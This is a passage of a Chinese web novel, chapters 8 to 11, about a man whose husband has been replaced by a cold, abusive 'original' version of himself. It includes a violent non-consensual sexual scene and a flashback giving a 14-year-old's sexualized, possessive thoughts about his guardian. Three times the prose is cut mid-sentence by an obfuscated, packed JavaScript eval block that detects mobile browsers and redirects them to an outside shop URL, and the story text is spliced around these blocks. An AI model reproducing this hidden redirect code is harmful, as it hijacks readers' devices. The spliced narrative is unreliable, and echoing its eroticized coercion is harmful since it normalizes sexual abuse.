左成双顾不得其他,手臂收紧,几乎是半将余赋秋抱在怀中,掌心一下子又一下子抚摸着他剧烈颤抖的脊背,另外一只手为了支撑,围绕在纤细的腰上,试图传递一丝丝的温暖,让余赋秋冷静下来。
他低下头,嘴唇凑近余赋秋的耳畔,温热的呼吸喷洒在余赋秋的肌肤上,用只有两个人能听到的音量,极尽温柔地安抚:“赋秋,听我说,我不会让他消失,不会的。”
“我保证,我会想尽一切办法,让庭知回来,冷静下来,好不好?”
“对,跟着我深呼吸。”
怀中的身躯因为哭泣和激动而紧绷着,但在左成双沉稳的声音引导下,终于逐渐软化了下来,纤细的肩膀随着他的节奏,开始慢慢地,一下一下地调整着紊乱的呼吸。
“你这样下去,会把自己熬坏的,我……”
我会心疼的。
这后半句,被他死死地咽了回去,化作一声无声的叹息,然而,他眼中那份过于浓烈的关切与温柔,却清晰得无处隐藏。
余赋秋失控地落泪,抓着左成双的衣服,啜泣着,眼眸泛着红,蝶翼一颤一颤的,像是羽毛落在了左成双的心口,如同一把小刷子勾着他心痒痒的。
他们的姿态亲昵,在某个角度看来,左成双低头,只差一点点就可以亲吻上那白嫩的肌肤。
左成双被蛊惑般,伸出指尖想要触碰那泛红的眼尾。
“咔嚓——”
一声令人牙酸,清脆的骨裂声,蹙然在寂静的走廊里爆开。
“呃——”
左成双发出一声压抑的痛呼,脸色瞬间惨白,额头上的冷汗涔涔而下,他的右手食指以一个不自然的角度弯折下去。
——正是他前面想要触碰余赋秋的那只手。
余赋秋被这突如其来的暴力惊得浑身一颤,抬起泪痕交错的脸。
视线越过因痛苦而蜷缩起来的左成双,他对上了一双眼睛——
一双黑漆漆如同深渊般的眸子。
长庭知出现在了病房门口,懒懒地抬眸靠在身后的门框上。
他看见他的妻子、在别人的怀中哭泣。
他微微歪着头,薄唇轻启,声音不高,带着浅淡的笑意,一字一句地砸在寂静的空气中:
“你们。”
“在干什么呢。”
8. 第 8 章
“我们不是……”余赋秋下意识地想解释,声音还带着哭后的沙哑。
碎发紧贴在额角,衬得那双含水的眸子更为可怜,似乎只要一触碰,他整个人就会破碎般随风飞扬。
长庭知脸上带着浅笑,却莫名让余赋秋感到恐惧,他咽了口水,想要往后退一步
但左成双强忍着食指骨折的剧痛,用未受伤的手一把将余赋秋严实地护在自己身后,挺直脊背迎向长庭知冰冷的目光。
“庭知,你冷静一点,赋秋情绪不太好,我在安慰他而已。”
“安慰?”长庭知像是听到了什么极其荒谬的笑话,低低地笑了起来。
那笑声在空旷的走廊里回荡,带着令人毛骨悚然的寒意。他一边笑,一边缓缓直起身,脱离了门框的支撑,一步步朝他们走来。
明明身上还穿着病服,但是回荡在走廊里的脚步声却坚强有力,每一下都敲击在余赋秋的心脏上。
“我的老婆在哭泣,你把他抱在怀里,这个叫安慰?”
“噢,你所谓的安慰就是抱着他的腰,揉着他的头发,亲启在他的耳边说没事,有我在,然后他的丈夫就在一墙之外的门内。”
“是不是下一秒你就要掀开我妻子的衣服,把你那恶心的玩意儿露出来给我妻子看呢?”
“……长庭知!”
左成双的脸色涨红,他和长庭知一同长大,是孤儿院里最为要好的朋友,在刚才一秒,他对于朋友的妻子确实是生了不该有的想法,但也不应该被这样说。
“我只是……”
左成双的话音未落。
长庭知猛地挥拳,速度快得惊人,狠狠砸向左成双的腹部。
“唔!”左成双猝不及防,痛得闷哼一声,身体不受控制地向前弯曲,几乎跪倒在地。
“成双!”余赋秋失声惊呼,看到左成双为了保护自己而再次受伤,愧疚和愤怒瞬间冲垮了恐惧。
他猛地从左成双身后冲出来,不顾一切地张开双臂,像一只护崽的母鸡,用自己单薄的身体挡在了左成双面前,对着长庭知喊道:“你住手!不关他的事!”
长庭知的拳头,在距离余赋秋鼻尖只有几厘米的地方,硬生生停住了。
他看着余赋秋这副为了保护另一个男人,而对自己怒目而视的模样,胸腔里翻涌的暴戾和某种尖锐的、名为嫉妒的毒火,几乎要将他最后的理智焚烧殆尽。
他怒到了极致,脸上反而绽开一个更加冰冷、也更加扭曲的笑容。
“好,很好。”他盯着余赋秋,眼神幽深得如同噬人的漩涡。
下一秒,在余赋秋和痛苦蜷缩的左成双都未能反应过来的瞬间,长庭知猛地伸手,一把扣住余赋秋的后颈,将他狠狠地掼向自己,低头,带着惩罚和毁灭的意味,粗暴地封住了他那张还想为别人辩解的唇!
“呜——!”
余赋秋惊恐地睁大眼睛,拼命挣扎,双手用力推拒着长庭知的胸膛。
长庭知却像是毫无知觉,他的吻如同狂风暴雨,带着不容反抗的强势,撬开他的牙关,肆意掠夺,甚至刻意啃咬,让血腥味再次在两人唇齿间蔓延。
“不要……”
余赋秋喉间的话语被长庭知尽数吞吃入腹,发出细碎的低吟。
——!
余赋秋忽然睁大了眼睛,长庭知另外一只手,撩起他的衣角,冰冷的空气钻入他的肌肤,他忍不住打了个颤,紧接着,灼热的温度顺着肌肤的脉络逐步往上攀爬。
修长的指尖在肚脐处打着圈儿,慢慢地游走在他的腰际,余赋秋剧烈的挣扎起来,只是长庭知一按,他整个人如同水一般倒了下去。
长庭知的眼眸闪过愉悦的笑意,他重重地在余赋秋的唇瓣上咬了一口,满足地看着那双已经红肿的唇。
余赋秋浑身剧烈地颤抖起来,屈辱的泪水夺眶而出。
一吻结束,长庭知稍稍退开,手指轻佻地划过他滚烫的脸颊,声音低沉而残忍,带着十足的羞辱:
“看看你这副样子……身体早就被我调教得这么敏感了,嗯?”
“就他这样的……”他轻蔑地瞥了一眼跪在地上的左成双,“……能满足得了你吗?”
“嗯?”
他单手将余赋秋抱入怀中,另外一只手在看不见的地方探入隐秘的角落,而左成双能看见的只有那颤抖的身躯。
“啪——!”
一声清脆响亮的耳光,骤然响起!
余赋秋用尽了全身力气,狠狠地扇在了长庭知的脸上!
时间仿佛在这一刻静止。
余赋秋的手僵在半空,掌心火辣辣地疼。他气得浑身发抖,眼泪流得更凶,那双漂亮的眼睛里充满了被羞辱后的愤怒和伤心。
长庭知的脸被打得偏了过去,白皙的脸颊上迅速浮现出清晰的指印。
他缓缓地、缓缓地转过头,看向余赋秋。
那双深不见底的眼眸里,所有的暴怒和戏谑都消失了,只剩下一种极度危险的、晦暗不明的风暴在凝聚。
那里面的寒意,让余赋秋瞬间如坠冰窖。
“呵。”他极其轻微地笑了一声。
然后,不再给任何人反应的机会,他猛地弯下腰,将余赋秋一把扛上肩头!
“放开我!长庭知!你放开我!”余赋秋惊恐地挣扎,捶打着他的后背。
长庭知却充耳不闻,任由肩上的猎物徒劳反抗。
他甚至没有再看瘫倒在地、目眦欲裂的左成双一眼,扛着不断挣扎的余赋秋,转身,大步走回病房。
“嘭——!”
病房门被狠狠甩上,发出一声巨响,彻底隔绝了内外。
余赋秋被长庭知扔到了病床上,他挣扎着想逃,刚起身想要爬走,长庭知抓着他的脚踝把他拖了回来,将他压在身下,将输液管捆绑在余赋秋的双手上。
美人眼眸含泪,纤细的脖子仰起头,像一只濒死的天鹅。
长庭知笑着抚摸他的肚子:“还想跑?”
“怎么,那个野男人可以满足你?”
“行啊,我让你知道,到底是谁更能满足你。”
“……长庭知,你混蛋!”
余赋秋破碎的声音带哭音。
“……”
门内,隐约传来余赋秋被堵住嘴的呜咽和更加激烈不停歇的声音。
门外,左成双捂着腹部,抱着断指,靠着墙壁,眼睁睁看着这一切发生,眼中充满了痛苦、愤怒和深深的无力感,一拳狠狠砸在地上,指节瞬间破皮流血。
……
余赋秋醒的时候,身体上下没有一处完好的地方,密密麻麻的吻痕布满了全身,鼓起的肚子似乎还能听见水声。
他蜷缩起来,将自己埋在被子里面。
昨天疯狂的记忆没入他的脑海,长庭知摸着他的肚子,止不住地亲吻着他,“宝宝……这里有我的形状了。”
“你是我的,你是我的,谁也夺不走……”
——就好像是他的丈夫回来了。
可是他的丈夫从来不会这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124673|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
粗暴的对待他。
余赋秋的身体萧索的如同秋风的落叶,等他缓过神来,一抹脸,尽然是冰冷的泪水。
“赋秋。”
房间的门被敲响了。
余赋秋小心翼翼探出脑袋,才发觉自己已经不在医院了,而是在他们的家。
褚宝梨轻轻敲了敲门,“……你还好吗?”
褚宝梨从来没有见过那样子的弟弟,自从她找回弟弟后,弟弟一向都是很温和的性子,可昨晚,他像是一头发疯的野兽,撕咬着怀中的猎物,把猎物叼回自己的领地。
她在客厅给他们开门,却被长庭知暴怒着说滚,随即把她关在了房门外,透过厚重的门,她都可以听见客厅里传来不堪的声音,还有余赋秋细弱的求饶声。
第二天,长庭知又好似什么也没发生,从房间出来,空气中的味道还没有散去,对着褚宝梨微微一笑,“姐,或许你很快要有小侄女了。”
褚宝梨不可置信地瞪大眼睛看着长庭知。
先前余赋秋还是瞒着长庭知怀孕,在这个时代,男人虽然可以生子,但多少是九死一生的事情,等到彻底没办法打胎了,余赋秋才告诉长庭知。
后来长庭知在生产的房门外整整哭了一天,然后当着所有人的面,跪在地上握着刚生产完余赋秋的手,“老婆,不生了,我们再也不生了……“
这段视频还被助理拍了下来,发到网上成为粉丝打趣事。
“啊对了,他叫什么?”
长庭知狭长的眸子微眯了起来,脸上尽是餍足的神情,“怪不得‘我’会选择他当情妇呢,确实很合我口味……”
褚宝梨告知长庭知一些基本的事情,长庭知很快表示没了兴致,扣好衣袖,就离开了家。
“姐……他不是庭知,他不是我的庭知……”
他的庭知从来不会这么冷淡对他,从来不会不顾及他的意愿强迫他,更不会把他一个人扔在漆黑的房间里。
余赋秋终于在这一刻确定了,剧情是彻底的开始了,原书的主角攻,真的回来了。
可是,可是——
他在犹豫什么?
理智告诉他,他应该提出离婚,彻底带着春春远走高飞,主角受和主角攻注定会相遇的,他只是一个路人炮灰而已。
“万一呢,万一他会回来呢?”
褚宝梨轻声道,她从包里拿出了一个包裹,轻轻地放在余赋秋的门口。
“赋秋,这是庭知寄过来的包裹,不过是今天才到,我没有给他看,我先放这里了。”
“吴叔做好了饭,在楼下,你记得吃点。”
等到褚宝梨的声音消失了,余赋秋才连滚带爬,连衣服都没穿好,手忙脚乱地打开了门,从缝隙中看到了一个小巧的包裹。
他颤抖着手去将小包裹拿过来,只见上面挂着一个小小、漂亮的水晶球。
而在水晶球的下面挂着寄件的日子。
【——寄给我最最最可爱的球球。】
再看清字体的一瞬间。
泪水盈满了余赋秋的眼眶。
庭知,庭知,你在哪里……
他抱着小包裹失声痛哭。
我好痛啊,我真的好痛啊,你抱抱我,抱抱我好不好。
身体好痛,心也好痛。
如果这时候长庭知在他的身边,一定会把他抱在怀里,轻轻吻去他脸上的泪水。
告诉他不怕不痛,痛痛都飞走了。
他的庭知——
才舍不得弄疼他。
9. 第 9 章
“……庭知。”
余赋秋小心翼翼地将那个写着他名字的纸条拿了下来,放在掌心里看了又看,酸涩的泪水又要夺眶而出。
余赋秋拼命忍住,仰起头看着天花板,想要把眼泪憋住。
不可以哭。
哭了的话眼泪会把纸给弄模糊,上面的字会晕染开来,而他现在,已经不能拉着长庭知的手去撒娇,让他写出自己的名字。
他看着天花板,天花板也是他们定制的,上面有星星碎碎的光点,在深夜的时候,会散发出细碎的光茫,在房间里面,霎时好看。
之所以他们会决定定制一个天花板,是因为在一个初春的午后,阳光透过斑驳的窗帘,在柔软地毯的卧室里面投下温暖的光斑。
在双人床的旁边,放置着一个小小的婴儿床。
刚刚出生不久的小家伙,他们的孩子,正睡在靠近大床的婴儿床里,他太小了,裹在柔软的鹅黄色襁褓中,只露出一张红扑扑,皱巴巴的小脸,像是一只安静的小动物。
余赋秋半靠在床头,白嫩的小脸窝在宽大的白灰色的围巾中,给他的脸上镀上了一层柔和的光芒。
他的脸色苍白,还带着些产后的苍白和疲倦,那双总是盛着星光的眼眸,此刻却温柔得似乎能滴出水来。
长庭知就坐在床边得椅子上,他没有同往常一样穿着笔挺的西装,而是一身简单的家居服,冷峻的脸庞在看到孩子的一刹那,化为了柔情。
“怎么,长大总裁,今天有空在家里?”
余赋秋轻笑着,戳了戳长庭知的脸颊,刚刚还装作冷脸的长庭知瞬间鼓了起来。
余赋秋觉得有趣,戳了戳他鼓起的腮帮子:“生气啦?长松鼠。”
“……”
长庭知将他的手掌翻转,把自己的脸颊放在他的掌心中,低垂着眼眸久久没有说话。
空气在这一刻沉静了下来,余赋秋刚想打趣,却感知到掌心有温热的液体留下来。
他一怔,慌张地去揉长庭知的眼尾,“怎么了,庭知,怎么哭了……”
“我,我说错话了?”
“是,是哪里疼了?”
“给我看看,我给你吹吹,嗯?”
“我……”
余赋秋语无伦次。
长庭知慢慢地抬起了头,那双深邃的眼眸泛着红,里面水光潋滟,平日里锐利逼人的目光此刻被一层浓得化不开得愧疚和心疼取代,泪水无声地从他得眼角滑落,沿着俊庭的鼻梁,滴落在两个人交握的手上,滚烫得几乎要让灼伤余赋秋的皮肤。
“不……不,不是,球球。”
长庭知的声音沙哑得厉害,带着浓重得鼻音,他紧紧握住余赋秋的手,把它紧贴在自己的胸口,余赋秋感受到手底下那强健有力的心跳声。
“是我的错。”他吸了吸鼻子,却依旧止不住眼泪,反而流淌的更凶了,像是要将一切都宣泄出来:“都是我的错。”
“是我让你怀孕的,明明我们可以有别的选择,明明你可以不用遭受这样的罪,是我不好,球球。”
“你知道,我站在手术室多煎熬吗?”
长庭知紧握着余赋秋的手颤抖着,一个一米九的男人此刻都哆嗦的如同一个孩童似的。
“医生和我说,胎位不正,加上还有植入性胎盘,位置也不好,必须剖宫产的时候,我………我真的好害怕,我真的害怕失去你。”
“这里好疼,我从没想到,还能这么难受。”
“我想,如果你不在了,我就立刻从楼上跳下去,我下去陪你。”
“什么长家,什么公司,什么股票……”
“这些全都不如你重要。”他抬眸,眼中全然是余赋秋的身影,“我拼了命的挣钱,就是为了你更好的生活。”
“就是能让我配得上你。”
“能让别人知道,余赋秋的爱人是长庭知。”
他哽咽起来,几乎说不下去,只是不断地重复着:“对不起,我让你受苦了,对不起,全都是我的错……”
这一切,这所有无声的脆弱,都源于他的罪过。
余赋秋孕育的辛苦,十月怀胎的艰辛,生产时经历的剧痛,尤其是医生将病危通知书给他,让他签下名字的那一刻。
长庭知觉得天都塌了。
余赋秋就是他的生命,就是他活下去的信念,如果失去了余赋秋,他活在世界上还有什么意义?
这一切都是他的错,如果不是他的欲.望,余赋秋根本不会遭遇这样的磨难。
余赋秋看着他哭得像个做错了事情的孩子,听着他语无伦次的自责和道歉,心中那片柔软的角落被彻底的击中。
他把自己窝在长庭知的怀抱里,轻轻把耳畔贴在他的胸口,随即慢慢仰起头,吻上他的唇角。
“一切都是我资源的,庭知。”
“我想要给你生孩子,我想要有一个我们爱的联系。”
——如果真的剧情开始了,至少,还有个孩子能替代我陪伴在你的身边。
忽然这时候,小家伙醒了,他转头,睁着那双乌溜溜,尚未完全聚焦的大眼睛,好奇地看着爸爸和妈妈紧贴在一起。
也许是看两个人许久不理他,小孩‘哇’的一下子发出了惊天哭声。
“哎呀……”余赋秋红着脸想要挣扎,“宝宝,宝宝醒了……”
“嗯,我知道。”
长庭知眼中染着笑意,俯身,舌尖舔舐余赋秋的唇角,带走唇畔的润色。
“这小家伙真不安生。”长庭知看着老婆趴在婴儿床边,戳了戳小孩的脸,长发垂落,遮盖了余赋秋的侧脸,却遮盖不住他看孩子那双漂亮眼眸的悸动。
“春春啊,给你妈妈安生点,别总是吵他,听见没?”
不管余赋秋怎么哄,小家伙都不肯停下来,哭泣的声音一次比一次大。
长庭知打开了天花板的星空光,那些柔和的光点在天花板上流转,吸引了小家伙的目光,漂亮的光如同流动的水,在天边旋转着。
他挥舞着两只白嫩嫩的小拳头,嘴里发出‘咿呀,咿呀……啊……’含糊不清的音节,小手指一抓一抓,似乎是想要抓着那一片虚无的星空。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124674|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你怕黑,我让师傅装修的时候,按了天花板的灯,如果我不在家,你就开着它,就不害怕了。”
他倾身过去,在那光洁、苍白的脸颊上,印下一个郑重而温柔的吻。
回忆如潮水般褪去,余赋秋下意识去窝在身边人的怀抱,可是他触碰的,只有一片冰冷的空气。
头顶的星空灯依旧在缓慢地旋转,可这次,看的只有他一个人了。
余赋秋忽然发了疯似的拿起抽纸,拼命地擦着眼睛,直到感到擦破了皮,疼痛让他清醒过来,让他从回忆的漩涡中抽离出来,他才慢慢地冷静了下来。
看着悬挂在手掌心的水晶球。
在他养大长庭知的那十年,长庭知不知道从哪一天开始,总是会在不经意的日子里,从口袋里掏出一个小巧的水晶球,他眼眸弯弯:“球球,你看,我给你制作的球球。”
“如果我不在了,它就会代替我,在你的身边守候着你。”
第一次收到长庭知水晶球的时候,是在他初二那年。
余赋秋记得很牢。
心脏的痛楚压得他喘不上气了,但他还是缓缓地合起那个小巧的水晶球,把它放在自己的胸前,感受着它在自己胸前那份沉甸甸的重量。
“嗯?”
余赋秋打开了小包裹,里面是一封信,但信只有薄薄的一层,他手一碰,碰倒了一个凸.出的东西。
“……钥匙?”
在他手中停留的是一把老旧的钥匙,似乎还带着尘封泥土的味道。
从信封里飘出一张纸,是长庭知的字迹。
“宝宝,先去这个地方,有惊喜噢!”
“不过有时限哒,快去快去哟。”
“你看到这里的时候,我应该在赶回来的路上啦,有你爱吃的黑森林,等我等我。”
后面还画了一个火柴小人赶路的表情,旁边标注着(长庭知小人正在加紧赶路!!)
余赋秋握着这个钥匙和纸条,久久坐在床上,沉默着没说话。
细碎的星光打落在他的身上,长发吹落,遮盖了那双泛红的眼,长而卷翘的睫毛轻轻颤抖着,投落一地令人心碎的弧度。
半响,他小心翼翼地拿起那张纸条,把纸条轻贴在唇边,在长庭知的名字上落下轻柔的一吻。
“好,我等你回来。”
他轻声说道。
把纸条折叠起来,仿佛那是一个世界上最珍贵的宝贝,他把它放好,放在枕头底下,拍了拍两下。
他看着镜子面前,满身痕迹的自己,忽然心里泛起了一阵恶心。
这不是他的长庭知。
只是用了长庭知身体的占据者。
余赋秋把自己洗了好几遍,直到洗出了血痕,他才罢休。
把满身痕迹的自己重新包裹上,在临近出门前,他想到什么,拿起围巾,把自己脖子上的咬痕遮住。
“庭知不喜欢这样,我要遮住,不能让庭知看到。”
“他会不高兴的。”
余赋秋说着,跌跌撞撞的出了门,手中紧握着那串陈旧的钥匙和水晶球。
10. 第 10 章
他强忍着身体传来的阵阵疼痛,走向了地下车库,长庭知在上面留的地址离这里比较远,他们这里是别墅区,要走出小区还有一定的距离,按照他现在的情况走出去,不出半个钟头,他就可以瘫坐在地上了。
余赋秋跌跌撞撞来到了地下车库,只是他打开了灯,在车库里面找了很久,都没有找到他要开的那辆车。
“吴,吴叔,你有来地下车库吗?”
余赋秋穿的不多,地下车库又冷,他冻得哆嗦,牙齿都打着颤。
“赋秋啊。”吴叔那边传来的声音嘈杂,“车库的话,上午长先生去了,我没有去。”
“长……”余赋秋的声音顿了下,握着电话的指尖微微蜷缩了起来。
“您有需要的话可以给他打这个电话。”
余赋秋挂断了电话,他收到了吴叔给他发的消息。
余赋秋没有一开始立刻去打这个电话,而是打开了置顶的电话,心中最不愿意想的念头浮现上来,他深吸一口气,颤抖着指尖去拨打了那个烂熟于心的号码。
熟悉的铃声没有响起,取而代之的是冰冷的女声:“对不起,您拨打的电话是空号……”
长达一分钟冰冷的女声一直在重复这句话。
余赋秋的呼吸都停滞了。
【这个号码陪伴长庭知十五年,从他捡到了长庭知后,长庭知缠着要办一个号码,他说这样,才能联系到余赋秋。
余赋秋不知道为什么一个初中的孩子要这个号码干什么。
他一开始没有答应长庭知。
只是单纯的以为长庭知要办电话然后开了流量去玩游戏。
但直到某天,他接到了电话,那头是长庭知的班主任,班主任问他,为什么今天的家长会结束了,还没有把长庭知接走。
家长会……?
“长庭知爸爸,虽然这只是一次家长会,但每次这种活动您作为一个家长都不来,长庭知小朋友只能呆在一旁,会容易他性格的孤僻和不合群,您工作如此繁忙吗……长庭知也不和我说您的电话,还是我从家长名单中翻到的,您……”
“老,老师!”余赋秋结巴道:“庭,庭知,现在在哪里?”
“……他还在学校。”
“抱歉,是我的问题,我下次不会了。”
他来不及等电梯,抓着手机直接从楼梯跑了下去,跑的太快,从最后一节台阶摔了下来,裤脚被刺啦嘶出一个口子,脚踝以一个诡异的角度弯曲着,余赋秋都没管。
心脏在胸腔里疯狂的跳动着,他的脑海里全是长庭知一个人孤零零的身影。
长庭知是这本书的主角攻,作者为了塑造一个美惨强的角色,让长庭知一出生就被仇家拐走,卖去边疆地界。
那一块du品泛滥,每个村以这个发家,甚至还卖血,一个村十之八九患有艾滋病,但他们从不在乎这样,只在乎能不能挣钱。
长庭知就是在这样的环境中长大,也许是他的养父母看他长得好,为了能卖一个好的价钱,从来不让他沾染这些东西,就在他长到七岁,被卖去了一家马戏团,那家马戏团以残缺人体表演为噱头和猎奇,吸引了很多的人观看。
长庭知在十岁那年就要被强迫砍去四肢,去上台表演的时候,逃了出来,然后在落雨小巷中,遇到了他的神。
余赋秋知道长庭知的背景,他看到躺在地上遍体鳞伤的少年的时候,动了他以前都没有的想法,被药物和电击麻痹了很久的情感,在这一刻全然转动。
他把少年抱在怀里,和他说我会一直在。
可是现在——
他把长庭知一个人落在了学校。
长庭知会不会对他失望?
他一个人坐在空荡荡的教室里,看着别的同学都被爸爸妈妈接走,他该有多难过?
钻心的疼痛钻入骨头,他拼了命跑去学校。
等他赶到的时候,学校的大门已经惯了,只剩下侧边的小门还开着,他气喘吁吁地跑了过去,一瘸一拐的奔向校门口。
然后,他看到了那个让他心脏骤停,一辈子都无法忘记的画面——
在偌大的、空无一人的校门纽扣,在那片绚烂却即将逝去的黄昏光影里面,一个小小的、穿着蓝色校服的身影,正在孤零零地站在那里。
是长庭知。
长庭知没有哭,也没有闹,只是安静地、执着地站在那里,手紧紧抓着书包袋子,微微仰望着头,那双漂亮璀璨的黑烟某,正一眨不眨地望着街道尽头的拐角。
那是经过他们家的路。
每当有车辆从拐角驶来,那身影就会下意识地挺直一些,眼睛里的瞬间点亮微弱的光,但直到看到了来者,不是他等待的人,那微弱的光亮又会迅速的黯淡下来,他抿着唇,只是倔强着脑袋,一遍又一遍看着那拐角的地方。
夕阳将他的影子拉得很长很长,投射在冰冷的地面上,显得那么的孤单,那么的无助。
余赋秋的脚步瞬间僵住了,仿佛被钉在原地,一股无形中巨大的恐慌犹如潮水般朝他席卷而来,喉咙像是被人死死堵住,发不出任何的声音。
这不止是个小说的人物。
余赋秋生平第一次有如此的清晰。
这是个活生生的,站在他的面前,由他带了回家,养了三年,从小学到初中的孩子。
他几乎是踉跄着,用尽自己全身的力气,才朝着那个孤单的身影一步一步迈了过去。
“庭知……”
他的嗓音沙哑,仿若秋风簌簌落下的落叶。
长庭知安静地转过身来,那双狭长的眸子冷淡地看着来人,在看清来者之后,才卸下了身上的担子。
“对不起,我来晚了。”
“老师给我打了电话,对不起,我不知道今天是家长会,对不起我这么晚才来接你。”
“……”
现在才十四岁的长庭知仰起头,看着这个比自己高半个头的余赋秋,他看的很认真,仿佛要把余赋秋刻入自
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124675|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
己的骨髓,他脸上的表情却让余赋秋感到分外的陌生。
随即,长庭知松开了拉着袋子的手,把头埋入余赋秋的怀中,近似贪婪地闻着他的气息,“……我找不到家。”
因为工作的性质,余赋秋需要到处跑,长庭知也到处转学,这是他刚转学的日子,他认不到自己的家。
或许是,他不知道自己的家在哪里。
“我以为你也不要我了。”
长庭知喃喃说,把余赋秋抱的更紧,“……先前那家人也是这样,把我落在角落,我找了很久很久,没有找到家的路。”
“我以为,我以为……”
余赋秋感知到脖子上滴落温热的液体,小孩的身躯颤抖着,他的呼吸几乎遏止不上来,“对不起,我不会不要你的。”
“就算世界崩塌了,我也不会不要你的。”
余赋秋在他的头发上轻柔落下一个吻,来安慰怀中哭泣的孩子。
我会陪着你……走到剧情开始的时候,你会遇到自己的幸福……
如果我不贪心的话——
我贪心一点点,也没事的吧?
“我联系不到你,所以我——”
长庭知的话没说完,被余赋秋紧紧抱着。
他可以感受到余赋秋的痛楚和愧疚。
余赋秋眼眸垂泪,嘴唇蠕动着:“不会再走了,我不会再走了。”
怀中的身躯在颤抖着,余赋秋以为长庭知在哭泣,更加紧紧搂抱着他,止不住的在他的额头上落下轻柔的吻。
却没看到长庭知侧着脑袋,本该落泪的眼眸诡异的瞪大,嘴角扩大出扭曲的弧度,脸上是病态的愉悦和狂热。
果然……
养父说的不错。
只有这样,不择手段,才能把自己想要的东西抓到手里,留在自己的身边。
对方喜不喜欢,根本不重要。
只要装出他喜欢的模样,把他留在自己的身边就好了。
如果不乖的话——
长庭知的眼神眯了眯。
他厌恶别人看爸爸的眼神。
贪婪,渴求……
明明是他的东西,怎么这么多人肖想?
都怪爸爸长得太漂亮了。
就知道出去勾引别人。
啊,那些眼睛好恶心好恶心好恶心。
好想把那些看爸爸的眼神给挖下来,拿去马戏团当球转圈圈啊。
爸爸,你乖一点。
一定要乖一点哦。
长庭知双手抱住余赋秋的腰,他的手环绕着纤细的腰,眸色渐渐暗了下来。
这种骚.浪.的身躯,只能是他的。
只能成为他的专属骚.货小奴隶。
长庭知从喉间发出细碎的哭音,毛茸茸的脑袋在余赋秋的肩膀里蹭了蹭,唇角的笑却在止不住的扩大。
“那你要一直留在我身边哦。”
“大人要说话算话的。”
“爸爸。”
11. 第 11 章 “他是我的丈夫。”
余赋秋从回忆中猛然惊醒过来,看着手中冰冷复古的钥匙,他深吸了一口气。
他的目光重新在那个熟悉的角落,那里没有那辆车。
这个车是他们用第一桶金买的车,当年攒了很久的前,一起去看车,试驾,最后像两个开心的孩子一样兴奋地开回家的第一辆车。
在那辆车里面,有他们一起挤着吃泡面的味道,有他们第一次自驾318时候看着窗外的雪山而放的歌曲,还有他在车上被颠簸的呕吐,也是这时候才知道他怀孕了,有了春春的存在,这辆车承载了他们太多的第一次。
余赋秋什么也顾不得了,颤抖着手播出了那个陌生崭新的号码。
“嘟——”
对面仿佛就是在等着他这通电话,没过几秒,那边很快接通了起来。
电话那头传来慵懒的声音,“余赋秋?”
明明是熟悉到骨子里的声音,透过手机狭窄的音筒,余赋秋的身影一软,扶着柱子才勉强站稳。
“庭知。”他稳着自己的声音:“咱们那辆车去哪儿了?”
“车?”余赋秋听见电话那头传来钥匙转动的声音:“迈巴赫、宾利、保时捷911……”
“你指我的哪辆车?”
‘我的’而不是‘我们的’
“噢。”长庭知挑了挑眉头,语气充满嘲讽,“难道你说那辆BTR小马20款?”
“一两万的破车,当然我让吴叔送去废品站了。”
“……”
余赋秋的身影顿了下,声音不由自主的提高了起来:“为什么!你为什么要把它卖掉,还送去废品站,那是我们的第一辆车,是我们……”
“吵死了。”
长庭知冷冷地打断他,放下手中的笔,眼镜后的眼神里没有一丝温度,只有被打扰的厌烦和一种居高临下的审视,他甚至微微靠后,双手交叠,对着手机那头道:“又哭?”
他厌烦道:“你的眼泪就这么不值钱吗,为了一堆破铜烂铁。”
“那不是破烂!”
“那是我们……”
“我们?”长庭知像是听到了什么天大的笑话,他用力地将手中的笔摔落在地上,力度之大,近乎将笔都折断了:“你还要自欺欺人到什么时候?”
“那个蠢货早就死了,现在在你面前的是我,是长庭知。”
“那个会跟你一起开破车,住出租屋,对未来保有天真幻想的傻子,早就死了!”
“……”
“我……”
余赋秋还想说什么。
“你下次如果还是这么再用这么无聊的问题来浪费我的时间,我的时间一分钟百万,你一辈子也付不起这个价格。”
电话被猛然挂断,嘟嘟声如同擂鼓一般,敲击在余赋秋的耳膜上。
他失魂落魄地走出车库,手中紧紧握着那枚冰冷的钥匙。
“滴滴——”
从别墅不远处传来车子的喇叭声,余赋秋下意识地想要避开,但那辆车子稳稳地停在了他的面前。
“哟,球球!”
虞琢的脸从车子后面探出脑袋来,下了车门,“你怎么一个人在这里?”
“天气这么冷,老长舍得把你一个人放出来?”
虞琢是他和长庭知共同的好友,前不久刚从M国回来,尚且还不知道长庭知的情况。
“他,他有事情,让我先,先去一个地方……”
